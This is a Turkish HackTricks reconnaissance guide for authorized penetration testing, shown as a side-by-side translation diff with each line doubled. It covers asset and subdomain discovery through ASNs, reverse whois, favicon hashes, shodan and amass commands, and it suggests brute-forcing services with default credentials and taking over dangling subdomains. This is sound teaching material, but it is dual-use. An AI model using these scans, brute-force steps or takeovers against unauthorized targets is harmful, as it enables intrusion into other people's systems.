* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Varlıkların Keşfi ## Varlıkların Keşfi
> Dolayısıyla, bazı şirkete ait olan her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz. > Dolayısıyla, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
Bu aşamanın amacı, **ana şirkete ait olan tüm şirketleri** elde etmek ve ardından bu şirketlerin tüm **varlıklarını** elde etmektir. Bunun için şunları yapacağız: Bu aşamanın amacı, **ana şirkete ait olan tüm şirketleri** elde etmek ve ardından bu şirketlerin tüm **varlıklarını** elde etmektir. Bunun için şunları yapacağız:
1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir. 1. Ana şirketin satın almalarını bulmak, bu bize kapsamda olan şirketleri verecektir.
2. Her şirketin **ASN'sini** bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir. 2. Her şirketin ASN'sini bulmak (varsa), bu bize her şirketin sahip olduğu IP aralıklarını verecektir.
3. İlkini aramak için ters whois aramalarını kullanarak diğer girişleri (kuruluş adları, alan adları...) aramak (bu rekürsif olarak yapılabilir) 3. Diğer girişleri (kuruluş adları, alan adları...) aramak için ters whois aramalarını kullanmak (bu rekürsif olarak yapılabilir)
4. Diğer teknikleri kullanmak, örneğin shodan `org` ve `ssl` filtrelerini kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir). 4. Shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanarak diğer varlıkları aramak (`ssl` hilesi rekürsif olarak yapılabilir).
### **Satın Almalar** ### **Satın Almalar**
Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\ Öncelikle, **ana şirkete ait olan diğer şirketleri** bilmemiz gerekiyor.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com)'e gidip **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\ Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) sitesini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**"ı **tıklamak**. Burada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır. Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
> Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım. > Tamam, bu noktada kapsamda olan tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım.
### **ASN'ler** ### **ASN'ler**
Bir **otonom sistem numarası (ASN)**, bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\ Bir otomatik sistem numarası (**ASN**), bir **otonom sistem** (AS) tarafından **Internet Assigned Numbers Authority (IANA)** tarafından atanmış **benzersiz bir numaradır**.\
Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir. Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip **IP adresi bloklarından** oluşur ve tek bir kuruluş tarafından yönetilir ancak birkaç operatörden oluşabilir.
Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zayıflık testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\ Şirketin **herhangi bir ASN'ye sahip olup olmadığını** bulmak, **IP aralıklarını** bulmak için ilginç olacaktır. Kapsam içindeki tüm **ana bilgisayarlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'lerdeki **alan adlarını** aramak ilginç olacaktır.\
[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\ [**https://bgp.he.net/**](https://bgp.he.net) sitesinde şirket **adı**, **IP** veya **alan adı** ile arama yapabilirsiniz.\
**Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünür. **Şirketin bölgesine bağlı olarak bu bağlantılar daha fazla veri toplamak için yararlı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her durumda, tüm** yararlı bilgiler **(IP aralıkları ve Whois)** muhtemelen ilk bağlantıda zaten görünecektir.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
@ -74,21 +74,21 @@ Bir alanın IP'sini ve ASN'sini [http://ipv4info.com/](http://ipv4info.com) kull
### **Zaafiyet arayışı** ### **Zaafiyet arayışı**
Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bir **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\ Bu noktada **kapsamdaki tüm varlıkları bildiğimizden**, izin verildiyse tüm ana bilgisayarlarda bazı **zafiyet taraması** (Nessus, OpenVAS) başlatabilirsiniz.\
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak açık portlar bulabilir ve bulduklarınıza bağlı olarak bu kitapta çeşitli olası hizmetleri nasıl pentest edeceğinize bakabilirsiniz.\ Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) başlatabilir veya shodan gibi hizmetleri kullanarak **ık portları bulabilir ve bulduklarınıza bağlı olarak** bu kitapta çalıştırılan çeşitli olası hizmetleri nasıl pentest edeceğinizi inceleyebilirsiniz.\
**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifreler **listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **edebilirsiniz.** **Ayrıca, varsayılan kullanıcı adı** ve **şifre listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force deneyebilirsiniz.
## Alanlar ## Alanlar
> Kapsamdaki tüm şirketleri ve varlıklarını bildiğimize göre, kapsamdaki alanları bulma zamanı geldi. > Kapsamdaki tüm şirketleri ve varlıklarını bildiğimize göre, kapsamdaki alanları bulma zamanı geldi.
_Lütfen, aşağıda önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._ _Lütfen, önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._
Öncelikle her şirketin **ana alanını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır. Öncelikle her şirketin **ana alan adını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
### **Ters DNS** ### **Ters DNS**
Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **ters DNS aramaları** yaparak kapsamdaki daha fazla alanı bulmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın. Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **daha fazla alan bulmak için ters DNS sorguları** yapmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın.
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -100,16 +100,16 @@ Bu bilgiyi almak için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrar
### **Ters Whois (döngü)** ### **Ters Whois (döngü)**
**Whois** içinde **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlıkı bulabilirsiniz** eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-postanın göründüğü diğer whois kayıtları).\ **Whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlık** bulabilirsiniz eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\
Çevrimiçi araçlar kullanabilirsiniz: Çevrimiçi araçlar kullanabilirsiniz:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil. * [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretli
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretli (sadece **100 ücretsiz** arama)
* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil * [https://www.domainiq.com/](https://www.domainiq.com) - Ücretli
Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\ Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\
Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois` Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois`
@ -118,8 +118,8 @@ Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi y
### **İzleyiciler** ### **İzleyiciler**
Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın da aynı ekibin tarafından yönetildiğini** varsayabilirsiniz.\ Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın** de **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\
Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** gördüğünüzde. Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** görürseniz.
Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır: Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır:
@ -131,20 +131,20 @@ Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve
### **Favicon** ### **Favicon**
Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapabilen [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Nasıl kullanılacağı: Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Kullanımı:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
``` ```
![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) ![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alan adlarını keşfetmemize olanak tanıyacak. Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alanları keşfetme imkanı sağlayacak.
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani, bir web teknolojisinin savunmasız bir sürümünün favicon'unun hash'ini biliyorsanız, shodan'da arayabilir ve **daha fazla savunmasız yeri bulabilirsiniz**: Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani **zayıf bir web teknolojisinin favicon'unun hash'ini biliyorsanız**, shodan'da arama yapabilir ve **daha fazla zayıf nokta bulabilirsiniz**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
Bir web sitesinin **favicon hash'ini hesaplamanın** yolu şöyledir: İşte bir web sitesinin **favicon hash'ini hesaplamanın** yolu:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -159,7 +159,7 @@ return fhash
``` ```
### **Telif Hakkı / Benzersiz dize** ### **Telif Hakkı / Benzersiz dize**
Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"` Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri araştırın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"`
### **CRT Zamanı** ### **CRT Zamanı**
@ -170,35 +170,35 @@ Genellikle şu gibi bir cron işi olması yaygındır:
``` ```
### **Harici Keşif Metodolojisi** ### **Harici Keşif Metodolojisi**
Sunucudaki tüm alan adı sertifikalarını yenilemek için bir plan yapın. Bu, bu işlem için kullanılan CA'nın Geçerlilik süresinde oluşturulma zamanını belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\ Sunucudaki tüm alan adı sertifikalarını yenilemek için. Bu, bunun için kullanılan CA'nın Oluşturulma Zamanını Geçerlilik süresinde belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\
Daha fazla bilgi için [**bu yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). Daha fazla bilgi için bu [**makaleye göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### **Pasif Ele Geçirme** ### **Pasif Ele Geçirme**
Görünüşe göre insanlar, **bulut sağlayıcılarına ait IP'ler için alt alan adlarını atamak ve bu IP adresini bir noktada kaybetmek ancak DNS kaydını kaldırmayı unutmak** gibi bir durumu sıkça yaşamaktadır. Bu nedenle, sadece bir VM oluşturarak (örneğin Digital Ocean gibi bir bulutta) aslında **bazı alt alan adlarını ele geçirebilirsiniz**. Görünüşe göre insanların, bulut sağlayıcılara ait IP'lerine alt alan adlarını atadıkları ve bir noktada **o IP adresini kaybettiklerini ancak DNS kaydını kaldırmayı unuttuklarını** sıkça yapmaları yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) bir VM oluşturarak aslında **bazı alt alan adlarını ele geçireceksiniz**.
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bu konu hakkında bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alan** ve buna işaret eden alt alan adı kayıtlarını Virustotal'da arayan bir betik öneriyor. [**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikayeyi açıklar ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alıp**, ve ona işaret eden alt alan adı kayıtlarını **Virustotal'da arayan** bir betik önerir.
### **Diğer Yöntemler** ### **Diğer Yöntemler**
**Bu tekniği yeni bir alan adı bulduğunuz her seferinde daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.** **Bu tekniği kullanarak her yeni alan adı bulduğunuzda daha fazla alan adı keşfedebileceğinizi unutmayın.**
**Shodan** **Shodan**
IP alanını sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi kullanarak shodan'da şu şekilde arama yapabilirsiniz: `org:"Tesla, Inc."` Bulunan ana bilgisayarlarda TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin. IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şuna benzer bir arama yapabilirsiniz: `org:"Tesla, Inc."` TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin.
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde bu adı arayabilirsiniz. Filtre olarak: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
**Assetfinder** **Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana alan adı ile ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici. [**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana alan adıyla ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
### **Zaafiyet Arayışı** ### **Zaafiyet Arayışı**
Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ancak **sahipliğini kaybetmiş**. Eğer uygunsa kaydedin ve şirkete bildirin. Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Eğer uygunsa kaydedin ve şirkete bildirin.
Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını bulursanız**, temel bir güvenlik taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, bunları "saldırmak" için bazı ipuçları bu kitapta bulunabilir.\ Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını** bulursanız, temel bir güvenlikığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, onları "saldırmak" için bu kitapta bazı ipuçları bulabilirsiniz.\
_Bazen alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle bu kapsamda olmayabilir, dikkatli olun._ _Bazen alan adının müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda olmayabilir, dikkatli olun._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**! **Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
@ -207,19 +207,19 @@ _Bazen alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde bar
## Alt Alan Adlar ## Alt Alan Adlar
> Kapsamdaki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz. > Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi. Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi.
### **DNS** ### **DNS**
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu rapor etmelisiniz). **DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, rapor etmelisiniz).
```bash ```bash
dnsrecon -a -d tesla.com dnsrecon -a -d tesla.com
``` ```
### **OSINT** ### **OSINT**
Birçok alt alan adını elde etmenin en hızlı yolu dış kaynaklarda arama yapmaktır. En çok kullanılan **araçlar** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın): Birçok alt alan adını elde etmenin en hızlı yolu, harici kaynaklarda arama yapmaktır. En çok kullanılan **araçlar** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot) * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash ```bash
@ -270,7 +270,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
``` ```
**Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da**, alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin: **Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da**, alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır. * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır
```bash ```bash
# Get list of subdomains in output from the API # Get list of subdomains in output from the API
## This is the API the crobat tool will use ## This is the API the crobat tool will use
@ -305,7 +305,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
``` ```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **ve** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını tarar ve oradan alt alan adlarını çıkarır. * [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'i tarayarak JS dosyalarını arar ve oradan alt alan adlarını çıkarırlar.
```bash ```bash
# Get only subdomains from SubDomainizer # Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -330,18 +330,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramak için kullanılabilir. * [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramanıza olanak tanır.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden erişebilirsiniz. Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunar**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da erişebilirsiniz [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Kaba Kuvvet Saldırısı** ### **DNS Kaba Kuvvet Saldırısı**
Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvet saldırısı yaparak yeni **alt alan adları** bulmaya çalışalım. Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvetle tarayarak yeni **alt alan adları** bulmaya çalışalım.
Bu işlem için şu gibi **ortak alt alan adı kelime listelerine** ihtiyacınız olacak: Bu işlem için bazı **ortak alt alan adı kelime listelerine** ihtiyacınız olacak:
